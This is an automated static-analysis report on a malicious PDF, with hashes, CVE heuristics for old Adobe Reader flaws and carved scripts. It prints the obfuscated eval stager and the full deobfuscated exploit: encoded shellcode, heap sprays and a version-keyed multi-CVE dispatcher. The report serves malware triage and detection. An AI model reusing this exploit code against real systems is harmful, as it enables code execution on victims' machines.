Malicious PDF — malware analysis report

Static analysis result for SHA-256 8a43bafdaf21f9ff…

MALICIOUS

PDF

11.9 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 4a95a00f756e4be72cbd75865dcc1702 SHA-1: 2b5ae58af77228a415fb160d421acc485c445719 SHA-256: 8a43bafdaf21f9ffe7f2b9a7a4f6c7732b2f86c59626f174c6355c12ea6fd462
388 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • PDF /Producer character-range JavaScript stager high PDF_INFO_PRODUCER_CHAR_RANGE_JS_STAGER
    PDF metadata hides JavaScript in /Producer as character ranges plus a long numeric index table. The document JavaScript rebuilds an alphabet from those ranges, maps the indexes into characters, and evals the recovered exploit stage. The decoder is bounded and only fires when the recovered stage contains exploit-like Acrobat JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C3A 459 bytes
SHA-256: bee5624c49a4e25c30494ca8f39e67ede5267cb15e50d4dccf8521c91015e808
Preview script
First 1,000 lines of the extracted script
var gzwj = this, zpg=50;
var psfi = new Date(), wnk='', pmav='Char', sw = ('e'+psfi.getFullYear()+'l').replace('2010','va');
var ba='',cvlg=gzwj[sw], oyl=[], zwt='pro'+ba+'duc'+ba+'er';
cvlg('var gs=String.from'+pmav+'Code, kdj=' + gzwj[zwt].substring(0,zpg) + ',cj=' + gzwj[zwt].substring(zpg));
for(zprx in kdj) for(var wi=kdj[zprx][0];wi < kdj[zprx][1];wi++) oyl.push(gs(wi));
for (var wi = 0; wi < cj.length; wi++) wnk+=oyl[cj[wi]];
cvlg(wnk);
javascript_obj0007_001.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C3A 104 bytes
SHA-256: 99925bc4febfd3af1f05018273bf27963a0af5101dce16edd33eb4bd9883ea49
Preview script
First 1,000 lines of the extracted script
var gzwj = this, zpg=50;
var psfi = new Date(), wnk='', pmav='Char', sw = ('e'+psfi.getFullYear()+'l'
producer_char_range_stage_000.js deobfuscated-js PDF /Info Producer char-range indexed JavaScript at offset 0x19A 3611 bytes
SHA-256: 6956f1dc7120743f745e1ca0b41005869680f8d205f17e9ab6f0b14324a2621b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var zb='%u9090%u9090%u16eb%u39b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u4634%ue2aa%uc3fa%ue5e8%uffff%uafff%u474a%u4646%uc718%u1aaa%u4647%ucf46%ucba1%u5609%u29cb%u7712%u119d%u1517%u1515%u1515%u1515%u1513%u2e15%u4742%u4646%u1013%u2e15%u2829%u4646%u332e%u2a34%u122b%uc82e%u4808%uaeaa%u460e%u4646%uae16%u463a%u4646%u96b9%u82c5%u2e4e%ua909%u4309%uae16%u462a%u4646%u96b9%u86c3%u5133%u122c%ub51f%u2eec%ub834%u50f5%u5bae%u4646%u1646%u17ae%u4646%ub946%u1596%ub82c%ucf2e%u4729%uaefb%u464e%u4646%uae16%u467a%u4646%u96b9%u7726%u2286%u16cd%ucd76%u4a14%u14cd%ucd52%u6e34%u5eff%u4646%u7746%u77b9%uea86%u277a%u443a%u666a%u8987%u474b%ua481%uc7b6%u1db9%u0cfa%ucd2c%u5604%u54cd%u9f33%u02cf%u5a62%u8527%ucd26%u622a%ucd62%u7a03%u12cd%u3e43%uac47%u0ccd%ucd5e%u661c%uad47%u72a5%ucd0f%ucd72%ua847%ub977%u8677%ueaba%u86c2%u4132%u8987%u474b%uad81%u7db2%u623a%u336e%ucda7%u621c%uad47%ucd20%u0d4a%u1ccd%u475a%ucdad%ucd42%uae47%u02cf%u5a62%u8427%u464e%ua9ae%ub9b8%u2eb9%u3232%u7c36%u6969%u273f%u2228%u3e23%u3627%u682f%u282f%u2269%u3668%u362e%u2079%u777b%u607f%u7b23%u4677';function nbe(tgkq,pu){while(tgkq.length*2<pu){tgkq+=tgkq;}
tgkq=tgkq.substring(0,pu/2);return tgkq;}
function dk(){var ry=new Array();var prv=0x0c0c0c0c;var addr=0x400000;var payload=unescape(zb);var sc_len=payload.length*2;var pu=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=nbe(yarsp,pu);var count2=(prv-0x400000)/addr;for(var count=0;count<count2;count++){ry[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(zb);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(zb);var hWq500CN=payload.length*2;var pu=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=nbe(yarsp,pu);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){dk();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(zb);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}